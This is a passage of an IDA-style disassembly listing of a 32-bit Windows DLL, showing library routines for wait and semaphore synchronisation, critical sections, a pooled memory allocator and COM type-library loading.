push esi
push edi
jz loc_69B2DD70
mov esi, [esp+10h+dwMilliseconds]
loc_69B2DCF3: ; CODE XREF: sub_69B2DCDC+92j
mov edi, ds:InterlockedDecrement
push ebp ; lpAddend
call edi ; InterlockedDecrement
test esi, esi
jg short loc_69B2DD05
cmp esi, 0FFFFFFFFh
jnz short loc_69B2DD79
loc_69B2DD05: ; CODE XREF: sub_69B2DCDC+22j
mov eax, [ebx+18h]
jmp short loc_69B2DD11
; ---------------------------------------------------------------------------
loc_69B2DD0A: ; CODE XREF: sub_69B2DCDC+37j
cmp dword ptr [ebp+0], 0
jle short loc_69B2DD15
dec eax
loc_69B2DD11: ; CODE XREF: sub_69B2DCDC+2Cj
test eax, eax
jg short loc_69B2DD0A
loc_69B2DD15: ; CODE XREF: sub_69B2DCDC+32j
test eax, eax
jnz short loc_69B2DD63
lea eax, [ebx+10h]
push eax ; lpAddend
call edi ; InterlockedDecrement
cmp esi, 0FFFFFFFFh
jz short loc_69B2DD4C
call ds:GetTickCount ; GetTickCount
push esi ; dwMilliseconds
mov ecx, ebx
mov edi, eax
call sub_69B2DCA5
test al, al
jz short loc_69B2DD7F
call ds:GetTickCount ; GetTickCount
sub edi, eax
lea esi, [esi+edi-1]
test esi, esi
jg short loc_69B2DD59
xor esi, esi
jmp short loc_69B2DD59
; ---------------------------------------------------------------------------
loc_69B2DD4C: ; CODE XREF: sub_69B2DCDC+46j
push 0FFFFFFFFh ; dwMilliseconds
mov ecx, ebx
call sub_69B2DCA5
test al, al
jz short loc_69B2DD7F
loc_69B2DD59: ; CODE XREF: sub_69B2DCDC+6Aj
; sub_69B2DCDC+6Ej
lea eax, [ebx+10h]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
loc_69B2DD63: ; CODE XREF: sub_69B2DCDC+3Bj
push ebp ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
cmp dword ptr [ebp+0], 1
jnz short loc_69B2DCF3
loc_69B2DD70: ; CODE XREF: sub_69B2DCDC+Dj
mov al, 1
loc_69B2DD72: ; CODE XREF: sub_69B2DCDC+A5j
pop edi
pop esi
pop ebp
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_69B2DD79: ; CODE XREF: sub_69B2DCDC+27j
add ebx, 10h
push ebx ; lpAddend
call edi ; InterlockedDecrement
loc_69B2DD7F: ; CODE XREF: sub_69B2DCDC+5Aj
; sub_69B2DCDC+7Bj
xor al, al
jmp short loc_69B2DD72
sub_69B2DCDC endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2DD83(DWORD dwMilliseconds)
sub_69B2DD83 proc near ; CODE XREF: sub_69B18BDC+A831p
dwMilliseconds = dword ptr 4
push ebx
mov ebx, [esp+4+dwMilliseconds]
push ebp
push esi
push edi
mov edi, ecx
loc_69B2DD8D: ; CODE XREF: sub_69B2DD83+88j
cmp dword ptr [edi+10h], 0
jg short loc_69B2DD9B
mov eax, [edi+14h]
cmp eax, [edi+1Ch]
jle short loc_69B2DE0D
loc_69B2DD9B: ; CODE XREF: sub_69B2DD83+Ej
lea ebp, [edi+14h]
push ebp ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
test ebx, ebx
jg short loc_69B2DDAE
cmp ebx, 0FFFFFFFFh
jnz short loc_69B2DE11
loc_69B2DDAE: ; CODE XREF: sub_69B2DD83+24j
mov eax, [edi+18h]
jmp short loc_69B2DDC2
; ---------------------------------------------------------------------------
loc_69B2DDB3: ; CODE XREF: sub_69B2DD83+41j
cmp dword ptr [edi+10h], 0
jg short loc_69B2DDC1
mov ecx, [ebp+0]
cmp ecx, [edi+1Ch]
jl short loc_69B2DDC6
loc_69B2DDC1: ; CODE XREF: sub_69B2DD83+34j
dec eax
loc_69B2DDC2: ; CODE XREF: sub_69B2DD83+2Ej
test eax, eax
jg short loc_69B2DDB3
loc_69B2DDC6: ; CODE XREF: sub_69B2DD83+3Cj
test eax, eax
jnz short loc_69B2DE04
cmp ebx, 0FFFFFFFFh
jz short loc_69B2DDF7
call ds:GetTickCount ; GetTickCount
push ebx ; dwMilliseconds
mov ecx, edi
mov esi, eax
call sub_69B2DCA5
test al, al
jz short loc_69B2DE11
call ds:GetTickCount ; GetTickCount
sub esi, eax
lea ebx, [ebx+esi-1]
test ebx, ebx
jg short loc_69B2DE04
xor ebx, ebx
jmp short loc_69B2DE04
; ---------------------------------------------------------------------------
loc_69B2DDF7: ; CODE XREF: sub_69B2DD83+4Aj
push 0FFFFFFFFh ; dwMilliseconds
mov ecx, edi
call sub_69B2DCA5
test al, al
jz short loc_69B2DE11
loc_69B2DE04: ; CODE XREF: sub_69B2DD83+45j
; sub_69B2DD83+6Ej ...
push ebp ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
jmp short loc_69B2DD8D
; ---------------------------------------------------------------------------
loc_69B2DE0D: ; CODE XREF: sub_69B2DD83+16j
mov al, 1
jmp short loc_69B2DE13
; ---------------------------------------------------------------------------
loc_69B2DE11: ; CODE XREF: sub_69B2DD83+29j
; sub_69B2DD83+5Ej ...
xor al, al
loc_69B2DE13: ; CODE XREF: sub_69B2DD83+8Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B2DD83 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DE1A proc near ; CODE XREF: sub_69B18381+B099j
; sub_69B18ED9+A549j ...
push ebx
push esi
push edi
mov edi, ecx
push 0 ; Value
lea ebx, [edi+24h]
push ebx ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov esi, eax
test esi, esi
jle short loc_69B2DE4D
push 0 ; lpPreviousCount
push esi ; lReleaseCount
push dword ptr [edi+20h] ; hSemaphore
call ds:ReleaseSemaphore ; ReleaseSemaphore
test eax, eax
jnz short loc_69B2DE5B
loc_69B2DE41: ; CODE XREF: sub_69B2DE1A+2Fj
push ebx ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
dec esi
jnz short loc_69B2DE41
jmp short loc_69B2DE5B
; ---------------------------------------------------------------------------
loc_69B2DE4D: ; CODE XREF: sub_69B2DE1A+15j
jge short loc_69B2DE5B
neg esi
loc_69B2DE51: ; CODE XREF: sub_69B2DE1A+3Fj
push ebx ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
dec esi
jnz short loc_69B2DE51
loc_69B2DE5B: ; CODE XREF: sub_69B2DE1A+25j
; sub_69B2DE1A+31j ...
pop edi
pop esi
pop ebx
retn
sub_69B2DE1A endp
; =============== S U B R O U T I N E =======================================
sub_69B2DE5F proc near ; DATA XREF: .text:off_69B1BBE0o
arg_0 = byte ptr 4
test [esp+arg_0], 1
push esi
lea esi, [ecx-4]
mov dword ptr [esi], offset off_69B1AEB8
mov dword ptr [ecx], offset off_69B1BBE0
jz short loc_69B2DE7C
push esi
call sub_69B1B2B7
loc_69B2DE7C: ; CODE XREF: sub_69B2DE5F+15j
mov eax, esi
pop esi
retn 4
sub_69B2DE5F endp
; =============== S U B R O U T I N E =======================================
sub_69B2DE82 proc near ; DATA XREF: .text:69B1F238o
mov eax, [ecx]
jmp dword ptr [eax+10h]
sub_69B2DE82 endp
; ---------------------------------------------------------------------------
jmp sub_69B1900C
; ---------------------------------------------------------------------------
jmp sub_69B1948C
; =============== S U B R O U T I N E =======================================
sub_69B2DE91 proc near ; DATA XREF: .text:69B1F25Co
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18BDC
retn
sub_69B2DE91 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DE99 proc near ; DATA XREF: .text:69B1B3E4o
push esi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
push eax
mov ecx, esi
call sub_69B18F67
pop esi
retn
sub_69B2DE99 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DEB2 proc near ; CODE XREF: sub_69B15D80+4Bp
; sub_69B71AFF-5BAACp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
mov ebx, [esi]
push edi
mov edi, [esp+0Ch+arg_4]
test edi, edi
jz short loc_69B2DECA
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+14h]
loc_69B2DECA: ; CODE XREF: sub_69B2DEB2+Fj
test ebx, ebx
mov [esi], edi
jz short loc_69B2DED7
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+18h]
loc_69B2DED7: ; CODE XREF: sub_69B2DEB2+1Cj
pop edi
pop esi
pop ebx
retn 8
sub_69B2DEB2 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DEDD proc near ; CODE XREF: sub_69B3C290+2Bp
; sub_69B3F305+6Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi]
test ecx, ecx
jz short loc_69B2DEF0
mov eax, [ecx]
call dword ptr [eax+18h]
and dword ptr [esi], 0
loc_69B2DEF0: ; CODE XREF: sub_69B2DEDD+9j
pop esi
retn 4
sub_69B2DEDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2DEF4 proc near ; CODE XREF: sub_69B2C8D5+31p
; sub_69B2C8D5+49p ...
MultiByteStr = byte ptr -314h
String = word ptr -210h
var_20E = word ptr -20Eh
pptlib = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 314h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
mov ebx, [ebp+arg_10]
and dword ptr [ebx], 0
push esi
mov [ebp+var_4], eax
mov esi, 104h
push esi ; nSize
lea eax, [ebp+MultiByteStr]
push eax ; lpFilename
push hModule ; hModule
mov [ebp+arg_10], 80004005h
call ds:GetModuleFileNameA ; GetModuleFileNameA
push esi ; cchWideChar
lea eax, [ebp+String]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cchMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
lea eax, [ebp+String]
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov ecx, [ebp+arg_4]
mov [ebp+eax*2+String], 5Ch
lea eax, [eax+eax+2]
add ecx, 30h
mov [ebp+eax+String], cx
and [ebp+eax+var_20E], 0
mov eax, [ebp+arg_8]
and eax, 3FFh
jz short loc_69B2DF8C
cmp eax, 9
jnz short loc_69B2DFBD
loc_69B2DF8C: ; CODE XREF: sub_69B2DEF4+91j
lea eax, [ebp+pptlib]
push eax ; pptlib
lea eax, [ebp+String]
push eax ; szFile
call LoadTypeLib
test eax, eax
mov [ebp+arg_10], eax
jl short loc_69B2DFBD
mov eax, [ebp+pptlib]
mov ecx, [eax]
push ebx
push [ebp+arg_C]
push eax
call dword ptr [ecx+18h]
mov [ebp+arg_10], eax
mov eax, [ebp+pptlib]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2DFBD: ; CODE XREF: sub_69B2DEF4+96j
; sub_69B2DEF4+AEj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+arg_10]
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 14h
sub_69B2DEF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DFD1 proc near ; CODE XREF: sub_69B677FE+12p
; sub_69B67A49+19p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_69B2DFE8
cmp [esp+8+arg_8], 0
jz short loc_69B2DFE8
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_69B2DFE8: ; CODE XREF: sub_69B2DFD1+8j
; sub_69B2DFD1+Fj
mov esi, [esp+8+arg_0]
mov eax, [esi]
test al, 1
jz short loc_69B2DFFD
and eax, 0FFFFFFFEh
jz short loc_69B2DFFD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2DFFD: ; CODE XREF: sub_69B2DFD1+1Fj
; sub_69B2DFD1+24j
movzx eax, [esp+8+arg_8]
or eax, edi
pop edi
mov [esi], eax
pop esi
retn 0Ch
sub_69B2DFD1 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E00B proc near ; CODE XREF: sub_69B1C300+71D8p
; sub_69B2E0D4+72p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+4]
test edx, edx
jz short loc_69B2E01E
mov ecx, [eax+8]
mov [edx+8], ecx
jmp short loc_69B2E024
; ---------------------------------------------------------------------------
loc_69B2E01E: ; CODE XREF: sub_69B2E00B+9j
mov edx, [eax+8]
mov [ecx+2Ch], edx
loc_69B2E024: ; CODE XREF: sub_69B2E00B+11j
mov ecx, [eax+8]
test ecx, ecx
jz short loc_69B2E031
mov edx, [eax+4]
mov [ecx+4], edx
loc_69B2E031: ; CODE XREF: sub_69B2E00B+1Ej
and dword ptr [eax+8], 0
and dword ptr [eax+4], 0
retn 4
sub_69B2E00B endp
; =============== S U B R O U T I N E =======================================
sub_69B2E03C proc near ; CODE XREF: sub_69B1DBFF+58FEp
; sub_69B1DBFF+594Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short locret_69B2E061
xor edx, edx
inc edx
cmp [ecx+0Ch], eax
push esi
jle short loc_69B2E05E
mov esi, [ecx+14h]
loc_69B2E052: ; CODE XREF: sub_69B2E03C+20j
test esi, edx
jz short loc_69B2E064
inc eax
shl edx, 1
cmp eax, [ecx+0Ch]
jl short loc_69B2E052
loc_69B2E05E: ; CODE XREF: sub_69B2E03C+11j
xor eax, eax
loc_69B2E060: ; CODE XREF: sub_69B2E03C+47j
pop esi
locret_69B2E061: ; CODE XREF: sub_69B2E03C+8j
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B2E064: ; CODE XREF: sub_69B2E03C+18j
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_69B2E06E
mov [esi], eax
loc_69B2E06E: ; CODE XREF: sub_69B2E03C+2Ej
mov esi, [esp+4+arg_8]
test esi, esi
jz short loc_69B2E078
mov [esi], edx
loc_69B2E078: ; CODE XREF: sub_69B2E03C+38j
or [ecx+14h], edx
dec dword ptr [ecx+10h]
shl eax, 0Dh
add eax, [ecx]
jmp short loc_69B2E060
sub_69B2E03C endp
; =============== S U B R O U T I N E =======================================
sub_69B2E085 proc near ; CODE XREF: sub_69B1C300+71E0p
; sub_69B2E0D4+83p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push 20000h
push dword ptr [esi]
call sub_69B2E438
mov eax, [esi+0Ch]
mov ecx, [esi]
mov edi, ds:VirtualFree
shl eax, 0Dh
cmp dword_69B92940, 0
push 4000h ; dwFreeType
push eax ; dwSize
push ecx ; lpAddress
jnz short loc_69B2E0B9
call edi ; VirtualFree
jmp short loc_69B2E0BE
; ---------------------------------------------------------------------------
loc_69B2E0B9: ; CODE XREF: sub_69B2E085+2Ej
call sub_69B2D527
loc_69B2E0BE: ; CODE XREF: sub_69B2E085+32j
push 8000h ; dwFreeType
push 0 ; dwSize
push dword ptr [esi] ; lpAddress
call edi ; VirtualFree
push esi
call sub_69B1B2B7
pop edi
pop esi
retn 4
sub_69B2E085 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2E0D4(int, LPCRITICAL_SECTION lpCriticalSection)
sub_69B2E0D4 proc near ; CODE XREF: sub_69B235F6+Dp
; sub_69B2E240+16p
arg_0 = dword ptr 8
lpCriticalSection= dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+lpCriticalSection]
push edi
mov edi, ecx
lea eax, [edi+10h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
test esi, esi
mov ecx, [ebp+arg_0]
jnz short loc_69B2E10E
mov esi, [edi+2Ch]
lea edx, [ecx-20000h]
jmp short loc_69B2E10A
; ---------------------------------------------------------------------------
loc_69B2E0FD: ; CODE XREF: sub_69B2E0D4+38j
mov eax, [esi]
cmp ecx, eax
jb short loc_69B2E107
cmp eax, edx
jnb short loc_69B2E10E
loc_69B2E107: ; CODE XREF: sub_69B2E0D4+2Dj
mov esi, [esi+8]
loc_69B2E10A: ; CODE XREF: sub_69B2E0D4+27j
test esi, esi
jnz short loc_69B2E0FD
loc_69B2E10E: ; CODE XREF: sub_69B2E0D4+1Cj
; sub_69B2E0D4+31j
sub ecx, [esi]
xor eax, eax
inc eax
shr ecx, 0Dh
shl eax, cl
not eax
and [esi+14h], eax
inc dword ptr [esi+10h]
mov eax, [edi+28h]
test eax, eax
mov ecx, [esi+10h]
jz short loc_69B2E12F
cmp [eax+10h], ecx
jge short loc_69B2E132
loc_69B2E12F: ; CODE XREF: sub_69B2E0D4+54j
mov [edi+28h], esi
loc_69B2E132: ; CODE XREF: sub_69B2E0D4+59j
mov eax, [esi+10h]
cmp eax, [esi+0Ch]
jnz short loc_69B2E15E
cmp [edi+28h], esi
jnz short loc_69B2E143
and dword ptr [edi+28h], 0
loc_69B2E143: ; CODE XREF: sub_69B2E0D4+69j
push esi
mov ecx, edi
call sub_69B2E00B
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
push esi
mov ecx, edi
call sub_69B2E085
jmp short loc_69B2E167
; ---------------------------------------------------------------------------
loc_69B2E15E: ; CODE XREF: sub_69B2E0D4+64j
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B2E167: ; CODE XREF: sub_69B2E0D4+88j
pop edi
pop esi
pop ebp
retn 8
sub_69B2E0D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E16D proc near ; CODE XREF: .text:69B2E1C7p
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi+0Ch]
lea ebx, [esi-4]
push ebp ; lpCriticalSection
mov dword ptr [ebx], offset off_69B1AEB8
mov dword ptr [esi], offset off_69B1DA9C
call ds:EnterCriticalSection
jmp short loc_69B2E19E
; ---------------------------------------------------------------------------
loc_69B2E18E: ; CODE XREF: sub_69B2E16D+36j
push edi
mov ecx, ebx
call sub_69B2E00B
push edi
mov ecx, ebx
call sub_69B2E085
loc_69B2E19E: ; CODE XREF: sub_69B2E16D+1Fj
mov edi, [esi+28h]
test edi, edi
jnz short loc_69B2E18E
push ebp ; lpCriticalSection
call ds:LeaveCriticalSection
push ebp ; lpCriticalSection
call ds:DeleteCriticalSection
pop edi
mov dword ptr [esi], offset off_69B1BBE0
pop esi
pop ebp
mov dword ptr [ebx], offset off_69B1AEB8
pop ebx
retn
sub_69B2E16D endp
; ---------------------------------------------------------------------------
loc_69B2E1C4: ; DATA XREF: .text:off_69B1DA9Co
push esi
mov esi, ecx
call sub_69B2E16D
test byte ptr [esp+8], 1
jz short loc_69B2E1DC
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B2E1DC: ; CODE XREF: .text:69B2E1D1j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B2E1E3 proc near ; CODE XREF: sub_69B2E240+20p
; sub_69B2E347+38p
dec dword ptr [ecx+50h]
push esi
mov esi, [ecx+50h]
jnz short loc_69B2E1F5
add ecx, 4
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B2E1F5: ; CODE XREF: sub_69B2E1E3+7j
mov eax, esi
pop esi
retn
sub_69B2E1E3 endp
; ---------------------------------------------------------------------------
jmp sub_69B120A4
; =============== S U B R O U T I N E =======================================
sub_69B2E1FE proc near ; CODE XREF: sub_69B2E49A+6Bp
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [ecx+8]
mov ebx, [edi+4Ch]
sub esi, ebx
sub esi, ecx
js short loc_69B2E225
mov eax, esi
xor edx, edx
div dword ptr [edi+44h]
sub esi, edx
add esi, ebx
add esi, ecx
mov eax, esi
cmp dword ptr [eax], 0
jnz short loc_69B2E227
loc_69B2E225: ; CODE XREF: sub_69B2E1FE+11j
xor eax, eax
loc_69B2E227: ; CODE XREF: sub_69B2E1FE+25j
pop edi
pop esi
pop ebx
retn 4
sub_69B2E1FE endp
; =============== S U B R O U T I N E =======================================
sub_69B2E22D proc near ; CODE XREF: sub_69B3D2F2+32p
; sub_69B4202C+6Fp ...
push 0FFFFFFFFh ; dwMilliseconds
add ecx, 10h
call sub_69B18F8A
retn
sub_69B2E22D endp
; =============== S U B R O U T I N E =======================================
sub_69B2E238 proc near ; CODE XREF: sub_69B3D2F2+6Fp
; sub_69B3D2F2+85p ...
add ecx, 10h
jmp sub_69B18381
sub_69B2E238 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E240 proc near ; CODE XREF: sub_69B2E26A+22p
; sub_69B2E2CA+55p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B1B1F3
mov eax, [edi+20h]
mov ecx, [eax+18h]
push eax ; lpCriticalSection
push edi ; int
call sub_69B2E0D4
dec dword ptr [esi+5Ch]
mov ecx, esi
call sub_69B2E1E3
pop edi
pop esi
retn 4
sub_69B2E240 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E26A proc near ; CODE XREF: sub_69B2E328+3p
push ebx
push ebp
push esi
mov esi, ecx
mov eax, [esi+34h]
test eax, eax
lea ebx, [esi-4]
push edi
mov dword ptr [ebx], offset off_69B121C4
mov dword ptr [esi], offset off_69B121C0
jz short loc_69B2E29A
loc_69B2E286: ; CODE XREF: sub_69B2E26A+2Bj
mov edi, [eax+10h]
push eax
mov ecx, ebx
call sub_69B2E240
test edi, edi
mov eax, edi
jnz short loc_69B2E286
and [esi+34h], edi
loc_69B2E29A: ; CODE XREF: sub_69B2E26A+1Aj
push 0
lea ebp, [esi+50h]
lea edi, [esi+10h]
add dword ptr [edi+8], 0FFFFFFF8h
push ebp
call sub_69B17320
push ebp
call sub_69B17230
mov ecx, edi
call loc_69B1AE86
pop edi
mov dword ptr [esi], offset off_69B1BBE0
pop esi
pop ebp
mov dword ptr [ebx], offset off_69B1AEB8
pop ebx
retn
sub_69B2E26A endp
; =============== S U B R O U T I N E =======================================
sub_69B2E2CA proc near ; CODE XREF: sub_69B1DAD9+5BB0p
; sub_69B2E347+1Dp ...
arg_0 = dword ptr 4
mov eax, ds:dword_69B25ED0
mov edx, [esp+arg_0]
and eax, edx
push esi
mov esi, [eax+1Ch]
mov [edx+4], esi
inc dword ptr [eax+14h]
mov [eax+1Ch], edx
mov edx, [eax+14h]
cmp edx, [ecx+48h]
jnz short loc_69B2E324
mov edx, [eax+0Ch]
test edx, edx
jz short loc_69B2E2F9
mov esi, [eax+10h]
mov [edx+10h], esi
jmp short loc_69B2E2FF
; ---------------------------------------------------------------------------
loc_69B2E2F9: ; CODE XREF: sub_69B2E2CA+25j
mov edx, [eax+10h]
mov [ecx+38h], edx
loc_69B2E2FF: ; CODE XREF: sub_69B2E2CA+2Dj
mov edx, [eax+10h]
test edx, edx
jz short loc_69B2E30C
mov esi, [eax+0Ch]
mov [edx+0Ch], esi
loc_69B2E30C: ; CODE XREF: sub_69B2E2CA+3Aj
cmp [ecx+3Ch], eax
jnz short loc_69B2E315
and dword ptr [ecx+3Ch], 0
loc_69B2E315: ; CODE XREF: sub_69B2E2CA+45j
cmp [ecx+40h], eax
jnz short loc_69B2E31E
and dword ptr [ecx+40h], 0
loc_69B2E31E: ; CODE XREF: sub_69B2E2CA+4Ej
push eax
call sub_69B2E240
loc_69B2E324: ; CODE XREF: sub_69B2E2CA+1Ej
pop esi
retn 4
sub_69B2E2CA endp
; =============== S U B R O U T I N E =======================================
sub_69B2E328 proc near ; DATA XREF: .text:off_69B121C0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B2E26A
test [esp+4+arg_0], 1
jz short loc_69B2E340
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B2E340: ; CODE XREF: sub_69B2E328+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B2E328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2E347 proc near ; DATA XREF: .text:69B121CCo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+58h]
test eax, eax
push edi
jz short loc_69B2E36F
and dword ptr [esi+58h], 0
test eax, eax
jz short loc_69B2E36F
loc_69B2E35E: ; CODE XREF: sub_69B2E347+26j
mov edi, [eax+4]
push eax
mov ecx, esi
call sub_69B2E2CA
test edi, edi
mov eax, edi
jnz short loc_69B2E35E
loc_69B2E36F: ; CODE XREF: sub_69B2E347+Dj
; sub_69B2E347+15j
lea ecx, [esi+4]
call sub_69B1906C
mov edi, eax
test edi, edi
jnz short loc_69B2E3B5
mov ecx, esi
call sub_69B2E1E3
test eax, eax
jz short loc_69B2E3B5
mov eax, [esi]
push esi
call dword ptr [eax+4]
inc dword ptr [esi+50h]
push dword_69B929E8
lea ecx, [ebp+arg_0]
call sub_69B18E23
mov eax, dword_69B929F4
mov [esi+60h], eax
lea ecx, [ebp+arg_0]
mov dword_69B929F4, esi
call sub_69B1900C
loc_69B2E3B5: ; CODE XREF: sub_69B2E347+34j
; sub_69B2E347+3Fj
mov eax, edi
pop edi
pop esi
pop ebp
retn 4
sub_69B2E347 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E3BD proc near ; CODE XREF: .text:69B47CECj
; sub_69B4876E+10p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
mov esi, ds:dword_69B25ED0
push edi
push dwTlsIndex
and esi, ebx
call dword_69B92970
mov edi, eax
lea ebp, [esi+4]
push ebp ; Target
mov [edi+50h], esi
call sub_69B18980
and dword ptr [ebx], 0
push eax
push ebp
call sub_69B18788
and dword ptr [edi+50h], 0
mov ecx, [esi+8]
test dword ptr [ecx+0Ch], 0FFFFFFF8h
jnz short loc_69B2E409
push ebx
call sub_69B2E2CA
jmp short loc_69B2E41E
; ---------------------------------------------------------------------------
loc_69B2E409: ; CODE XREF: sub_69B2E3BD+42j
lea edi, [ecx+58h]
loc_69B2E40C: ; CODE XREF: sub_69B2E3BD+5Fj
mov esi, [edi]
push esi
push ebx
push edi
mov [ebx+4], esi
call dword_69B92950 ; InterlockedCompareExchange
cmp eax, esi
jnz short loc_69B2E40C
loc_69B2E41E: ; CODE XREF: sub_69B2E3BD+4Aj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B2E3BD endp
; =============== S U B R O U T I N E =======================================
sub_69B2E425 proc near ; CODE XREF: sub_69B2E49A+117p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh ; Value
add eax, 4
push eax ; Target
call ds:InterlockedExchange ; InterlockedExchange
retn 4
sub_69B2E425 endp
; =============== S U B R O U T I N E =======================================
sub_69B2E438 proc near ; CODE XREF: sub_69B2E085+Dp
; sub_69B2E786+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_69B929E8
test esi, esi
jz short loc_69B2E450
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0Ch]
mov esi, dword_69B929E8
loc_69B2E450: ; CODE XREF: sub_69B2E438+9j
mov eax, [esp+4+arg_4]
test eax, eax
mov edx, [esp+4+arg_0]
jle short loc_69B2E48B
push ebx
push edi
lea edi, [eax-1]
shr edi, 10h
inc edi
loc_69B2E465: ; CODE XREF: sub_69B2E438+4Fj
mov ecx, edx
shr ecx, 10h
mov eax, ecx
and ecx, 7
mov bl, 1
shl bl, cl
shr eax, 3
lea eax, dword_69B929F8[eax]
add edx, 10000h
not bl
and [eax], bl
dec edi
jnz short loc_69B2E465
pop edi
pop ebx
loc_69B2E48B: ; CODE XREF: sub_69B2E438+22j
test esi, esi
jz short loc_69B2E496
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+10h]
loc_69B2E496: ; CODE XREF: sub_69B2E438+55j
pop esi
retn 8
sub_69B2E438 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2E49A proc near ; CODE XREF: sub_69B2D846+39p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_69B181A4
test al, al
jz loc_69B2E62A
mov esi, ds:dword_69B25ED0
and esi, ebx
push esi
call sub_69B2E659
test al, al
jz short loc_69B2E537
cmp dword ptr [esi], 1
jnz short loc_69B2E537
push 0FFFFFFFFh ; Value
lea edi, [esi+4]
push edi ; Target
call ds:InterlockedExchange ; InterlockedExchange
cmp eax, 0FFFFFFFFh
setnz byte ptr [ebp+arg_0+3]
cmp byte ptr [ebp+arg_0+3], 0
mov [ebp+var_4], eax
jnz short loc_69B2E502
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_69B2E4F5
cmp [eax+50h], esi
jz short loc_69B2E502
loc_69B2E4F5: ; CODE XREF: sub_69B2E49A+54j
push edi ; Target
call sub_69B18980
mov [ebp+var_4], eax
mov byte ptr [ebp+arg_0+3], 1
loc_69B2E502: ; CODE XREF: sub_69B2E49A+4Dj
; sub_69B2E49A+59j
push ebx
mov ecx, esi
call sub_69B2E1FE
mov esi, eax
test esi, esi
jz short loc_69B2E521
cmp dword ptr [esi], 0
jnz short loc_69B2E519
xor esi, esi
jmp short loc_69B2E521
; ---------------------------------------------------------------------------
loc_69B2E519: ; CODE XREF: sub_69B2E49A+79j
mov eax, [esi+4]
